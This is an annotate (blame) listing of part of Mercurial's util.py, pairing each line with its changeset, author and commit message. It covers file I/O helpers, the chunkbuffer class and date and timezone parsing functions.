423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
1833 if mode is not None: |
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
1834 os.chmod(name, mode) |
18668
4034b8d551b1
scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents:
18614
diff
changeset
|
1835 |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
1836 def readfile(path): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
1837 with open(path, 'rb') as fp: |
14100
3e9e02a41dfb
util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents:
14099
diff
changeset
|
1838 return fp.read() |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
1839 |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
1840 def writefile(path, text): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
1841 with open(path, 'wb') as fp: |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
1842 fp.write(text) |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
1843 |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
1844 def appendfile(path, text): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
1845 with open(path, 'ab') as fp: |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
1846 fp.write(text) |
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
1847 |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1848 class chunkbuffer(object): |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1849 """Allow arbitrary sized chunks of data to be efficiently read from an |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1850 iterator over chunks of arbitrary size.""" |
1200 | 1851 |
5446
fa836e050c50
chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents:
5420
diff
changeset
|
1852 def __init__(self, in_iter): |
32123
5f53c267e362
util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents:
31952
diff
changeset
|
1853 """in_iter is the iterator that's iterating over the input chunks.""" |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1854 def splitbig(chunks): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1855 for chunk in chunks: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1856 if len(chunk) > 2**20: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1857 pos = 0 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1858 while pos < len(chunk): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1859 end = pos + 2 ** 18 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1860 yield chunk[pos:end] |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1861 pos = end |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1862 else: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1863 yield chunk |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1864 self.iter = splitbig(in_iter) |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
1865 self._queue = collections.deque() |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1866 self._chunkoffset = 0 |
1200 | 1867 |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
1868 def read(self, l=None): |
1200 | 1869 """Read L bytes of data from the iterator of chunks of data. |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
1870 Returns less than L bytes if the iterator runs dry. |
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
1871 |
23139
e53f6b72a0e4
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23097
diff
changeset
|
1872 If size parameter is omitted, read everything""" |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
1873 if l is None: |
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
1874 return ''.join(self.iter) |
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
1875 |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1876 left = l |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
1877 buf = [] |
16873
37e081609828
util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents:
16834
diff
changeset
|
1878 queue = self._queue |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
1879 while left > 0: |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1880 # refill the queue |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1881 if not queue: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1882 target = 2**18 |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1883 for chunk in self.iter: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1884 queue.append(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1885 target -= len(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1886 if target <= 0: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1887 break |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1888 if not queue: |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1889 break |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
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1890 |
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1891 # The easy way to do this would be to queue.popleft(), modify the |
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1892 # chunk (if necessary), then queue.appendleft(). However, for cases |
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|
1893 # where we read partial chunk content, this incurs 2 dequeue |
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1894 # mutations and creates a new str for the remaining chunk in the |
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1895 # queue. Our code below avoids this overhead. |
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|
1896 |
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|
1897 chunk = queue[0] |
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|
1898 chunkl = len(chunk) |
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|
1899 offset = self._chunkoffset |
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|
1900 |
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parents:
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|
1901 # Use full chunk. |
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util.chunkbuffer: avoid extra mutations when reading partial chunks
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1902 if offset == 0 and left >= chunkl: |
26479
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util.chunkbuffer: refactor chunk handling logic
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parents:
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|
1903 left -= chunkl |
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|
1904 queue.popleft() |
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parents:
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|
1905 buf.append(chunk) |
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1906 # self._chunkoffset remains at 0. |
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|
1907 continue |
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|
1908 |
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|
1909 chunkremaining = chunkl - offset |
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|
1910 |
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|
1911 # Use all of unconsumed part of chunk. |
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|
1912 if left >= chunkremaining: |
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1913 left -= chunkremaining |
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|
1914 queue.popleft() |
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1915 # offset == 0 is enabled by block above, so this won't merely |
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parents:
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1916 # copy via ``chunk[0:]``. |
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1917 buf.append(chunk[offset:]) |
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1918 self._chunkoffset = 0 |
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|
1919 |
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1920 # Partial chunk needed. |
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1921 else: |
26480
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1922 buf.append(chunk[offset:offset + left]) |
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1923 self._chunkoffset += left |
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1924 left -= chunkremaining |
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|
1925 |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
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parents:
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|
1926 return ''.join(buf) |
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parents:
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|
1927 |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
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|
1928 def filechunkiter(f, size=131072, limit=None): |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
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parents:
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|
1929 """Create a generator that produces the data in the file size |
30181
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util: increase filechunkiter size to 128k
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parents:
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|
1930 (default 131072) bytes at a time, up to optional limit (default is |
2462
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parents:
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|
1931 to read all data). Chunks may be less than size bytes if the |
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parents:
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|
1932 chunk is the last chunk in the file, or the file is a socket or |
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parents:
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|
1933 some other type of file that sometimes reads less data than is |
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parents:
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|
1934 requested.""" |
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parents:
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|
1935 assert size >= 0 |
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util: add limit to amount filechunkiter will read
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parents:
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|
1936 assert limit is None or limit >= 0 |
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util: add limit to amount filechunkiter will read
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parents:
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diff
changeset
|
1937 while True: |
10282
08a0f04b56bd
many, many trivial check-code fixups
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parents:
10264
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changeset
|
1938 if limit is None: |
08a0f04b56bd
many, many trivial check-code fixups
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parents:
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changeset
|
1939 nbytes = size |
08a0f04b56bd
many, many trivial check-code fixups
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parents:
10264
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changeset
|
1940 else: |
08a0f04b56bd
many, many trivial check-code fixups
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parents:
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changeset
|
1941 nbytes = min(limit, size) |
2462
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util: add limit to amount filechunkiter will read
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parents:
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diff
changeset
|
1942 s = nbytes and f.read(nbytes) |
10282
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many, many trivial check-code fixups
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parents:
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changeset
|
1943 if not s: |
08a0f04b56bd
many, many trivial check-code fixups
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parents:
10264
diff
changeset
|
1944 break |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1945 if limit: |
08a0f04b56bd
many, many trivial check-code fixups
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parents:
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diff
changeset
|
1946 limit -= len(s) |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1947 yield s |
1320
5f277e73778f
Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1312
diff
changeset
|
1948 |
19287
8b04e1344111
util: add an optional timestamp parameter to makedate
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parents:
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diff
changeset
|
1949 def makedate(timestamp=None): |
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util: add an optional timestamp parameter to makedate
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parents:
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|
1950 '''Return a unix timestamp (or the current time) as a (unixtime, |
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util: add an optional timestamp parameter to makedate
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parents:
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diff
changeset
|
1951 offset) tuple based off the local timezone.''' |
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|
1952 if timestamp is None: |
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parents:
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diff
changeset
|
1953 timestamp = time.time() |
19286
78501209488a
util: rename ct variable in makedate to timestamp
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parents:
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diff
changeset
|
1954 if timestamp < 0: |
13063
e98581d44f0b
makedate: abort on negative timestamps (issue2513)
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parents:
13062
diff
changeset
|
1955 hint = _("check your clock") |
19286
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util: rename ct variable in makedate to timestamp
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parents:
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diff
changeset
|
1956 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint) |
78501209488a
util: rename ct variable in makedate to timestamp
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parents:
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diff
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|
1957 delta = (datetime.datetime.utcfromtimestamp(timestamp) - |
78501209488a
util: rename ct variable in makedate to timestamp
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parents:
19211
diff
changeset
|
1958 datetime.datetime.fromtimestamp(timestamp)) |
15505
ae04af1ce78d
makedate: wrong timezone offset if DST rules changed this year (issue2511)
Dmitry Panov <dop@itoolabs.com>
parents:
15496
diff
changeset
|
1959 tz = delta.days * 86400 + delta.seconds |
19286
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util: rename ct variable in makedate to timestamp
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parents:
19211
diff
changeset
|
1960 return timestamp, tz |
1329
8f06817bf266
Allow files to be opened in text mode, even on Windows.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1321
diff
changeset
|
1961 |
6229
c3182eeb70ea
dates: improve timezone handling
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parents:
6224
diff
changeset
|
1962 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'): |
1321
b47f96a178a3
Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1320
diff
changeset
|
1963 """represent a (unixtime, offset) tuple as a localized time. |
b47f96a178a3
Clean up date and timezone handling.
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parents:
1320
diff
changeset
|
1964 unixtime is seconds since the epoch, and offset is the time zone's |
28865
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1965 number of seconds away from UTC. |
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1966 |
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1967 >>> datestr((0, 0)) |
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util: add doctest to datestr()
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parents:
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diff
changeset
|
1968 'Thu Jan 01 00:00:00 1970 +0000' |
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1969 >>> datestr((42, 0)) |
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1970 'Thu Jan 01 00:00:42 1970 +0000' |
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1971 >>> datestr((-42, 0)) |
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1972 'Wed Dec 31 23:59:18 1969 +0000' |
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1973 >>> datestr((0x7fffffff, 0)) |
16255662446d
util: add doctest to datestr()
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parents:
28864
diff
changeset
|
1974 'Tue Jan 19 03:14:07 2038 +0000' |
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1975 >>> datestr((-0x80000000, 0)) |
16255662446d
util: add doctest to datestr()
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parents:
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diff
changeset
|
1976 'Fri Dec 13 20:45:52 1901 +0000' |
16255662446d
util: add doctest to datestr()
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parents:
28864
diff
changeset
|
1977 """ |
1321
b47f96a178a3
Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1320
diff
changeset
|
1978 t, tz = date or makedate() |
19989
c38c3fdc8b93
date: allow %z in format (issue4040)
Matt Mackall <mpm@selenic.com>
parents:
19951
diff
changeset
|
1979 if "%1" in format or "%2" in format or "%z" in format: |
6229
c3182eeb70ea
dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents:
6224
diff
changeset
|
1980 sign = (tz > 0) and "-" or "+" |
9029
0001e49f1c11
compat: use // for integer division
Alejandro Santos <alejolp@alejolp.com>
parents:
8938
diff
changeset
|
1981 minutes = abs(tz) // 60 |
27066
6f1f8e88f036
util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27016
diff
changeset
|
1982 q, r = divmod(minutes, 60) |
19989
c38c3fdc8b93
date: allow %z in format (issue4040)
Matt Mackall <mpm@selenic.com>
parents:
19951
diff
changeset
|
1983 format = format.replace("%z", "%1%2") |
27066
6f1f8e88f036
util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27016
diff
changeset
|
1984 format = format.replace("%1", "%c%02d" % (sign, q)) |
6f1f8e88f036
util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27016
diff
changeset
|
1985 format = format.replace("%2", "%02d" % r) |
28825
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
1986 d = t - tz |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
1987 if d > 0x7fffffff: |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
1988 d = 0x7fffffff |
28864
b0811a9fe67c
date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents:
28835
diff
changeset
|
1989 elif d < -0x80000000: |
b0811a9fe67c
date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents:
28835
diff
changeset
|
1990 d = -0x80000000 |
28825
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
1991 # Never use time.gmtime() and datetime.datetime.fromtimestamp() |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
1992 # because they use the gmtime() system call which is buggy on Windows |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
1993 # for negative values. |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
1994 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d) |
31449
756175623f2e
py3: call strftime() with native str type
Yuya Nishihara <yuya@tcha.org>
parents:
31448
diff
changeset
|
1995 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format))) |
1987
04c17fc39c84
add changelog style to command line template.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1976
diff
changeset
|
1996 return s |
1829
b0f6af327fd4
hgwebdir: export collections of repos
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
1997 |
6134
7b937b26adf7
Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6111
diff
changeset
|
1998 def shortdate(date=None): |
7b937b26adf7
Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6111
diff
changeset
|
1999 """turn (timestamp, tzoff) tuple into iso 8631 date.""" |
6229
c3182eeb70ea
dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents:
6224
diff
changeset
|
2000 return datestr(date, format='%Y-%m-%d') |
6134
7b937b26adf7
Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6111
diff
changeset
|
2001 |
29636
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2002 def parsetimezone(s): |
84ef4517de03
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Matt Mackall <mpm@selenic.com>
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diff
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|
2003 """find a trailing timezone, if any, in string, and return a |
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Matt Mackall <mpm@selenic.com>
parents:
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|
2004 (offset, remainder) pair""" |
84ef4517de03
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Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2005 |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
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diff
changeset
|
2006 if s.endswith("GMT") or s.endswith("UTC"): |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
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diff
changeset
|
2007 return 0, s[:-3].rstrip() |
84ef4517de03
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Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2008 |
84ef4517de03
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Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2009 # Unix-style timezones [+-]hhmm |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2010 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit(): |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2011 sign = (s[-5] == "+") and 1 or -1 |
84ef4517de03
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Matt Mackall <mpm@selenic.com>
parents:
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diff
changeset
|
2012 hours = int(s[-4:-2]) |
84ef4517de03
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Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2013 minutes = int(s[-2:]) |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2014 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip() |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2015 |
29637
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2016 # ISO8601 trailing Z |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
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diff
changeset
|
2017 if s.endswith("Z") and s[-2:-1].isdigit(): |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
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|
2018 return 0, s[:-1] |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2019 |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2020 # ISO8601-style [+-]hh:mm |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2021 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2022 s[-5:-3].isdigit() and s[-2:].isdigit()): |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2023 sign = (s[-6] == "+") and 1 or -1 |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2024 hours = int(s[-5:-3]) |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2025 minutes = int(s[-2:]) |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2026 return -sign * (hours * 60 + minutes) * 60, s[:-6] |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2027 |
29636
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2028 return None, s |
26126
7b625baed995
util: extract function that parses timezone string
Yuya Nishihara <yuya@tcha.org>
parents:
26098
diff
changeset
|
2029 |
31393
8b6927eb7efd
util: don't use mutable default argument value
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31368
diff
changeset
|
2030 def strdate(string, format, defaults=None): |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2031 """parse a localized time string and return a (unixtime, offset) tuple. |
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2032 if the string cannot be parsed, ValueError is raised.""" |
31465
da83f12d7a88
util: explicitly tests for None
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31453
diff
changeset
|
2033 if defaults is None: |
da83f12d7a88
util: explicitly tests for None
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31453
diff
changeset
|
2034 defaults = {} |
31393
8b6927eb7efd
util: don't use mutable default argument value
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31368
diff
changeset
|
2035 |
3255
e96d2956eb4a
util.strdate: compute timestamp using UTC, not local timezone
Jose M. Prieto <jmprieto@gmx.net>
parents:
3176
diff
changeset
|
2036 # NOTE: unixtime = localunixtime + offset |
29636
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2037 offset, date = parsetimezone(string) |
3808
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
2038 |
3812 | 2039 # add missing elements from defaults |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2040 usenow = False # default to using biased defaults |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2041 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity |
32154
52e222eef646
py3: use pycompat.bytestr instead of bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32153
diff
changeset
|
2042 part = pycompat.bytestr(part) |
3812 | 2043 found = [True for p in part if ("%"+p) in format] |
2044 if not found: | |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2045 date += "@" + defaults[part][usenow] |
3812 | 2046 format += "@%" + part[0] |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2047 else: |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2048 # We've found a specific time element, less specific time |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2049 # elements are relative to today |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2050 usenow = True |
3808
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
2051 |
32290
2959c3e986e0
py3: convert date and format arguments str before passing in time.strptime
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32208
diff
changeset
|
2052 timetuple = time.strptime(encoding.strfromlocal(date), |
2959c3e986e0
py3: convert date and format arguments str before passing in time.strptime
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32208
diff
changeset
|
2053 encoding.strfromlocal(format)) |
3256
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2054 localunixtime = int(calendar.timegm(timetuple)) |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2055 if offset is None: |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2056 # local timezone |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2057 unixtime = int(time.mktime(timetuple)) |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2058 offset = unixtime - localunixtime |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2059 else: |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2060 unixtime = localunixtime + offset |
3255
e96d2956eb4a
util.strdate: compute timestamp using UTC, not local timezone
Jose M. Prieto <jmprieto@gmx.net>
parents:
3176
diff
changeset
|
2061 return unixtime, offset |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
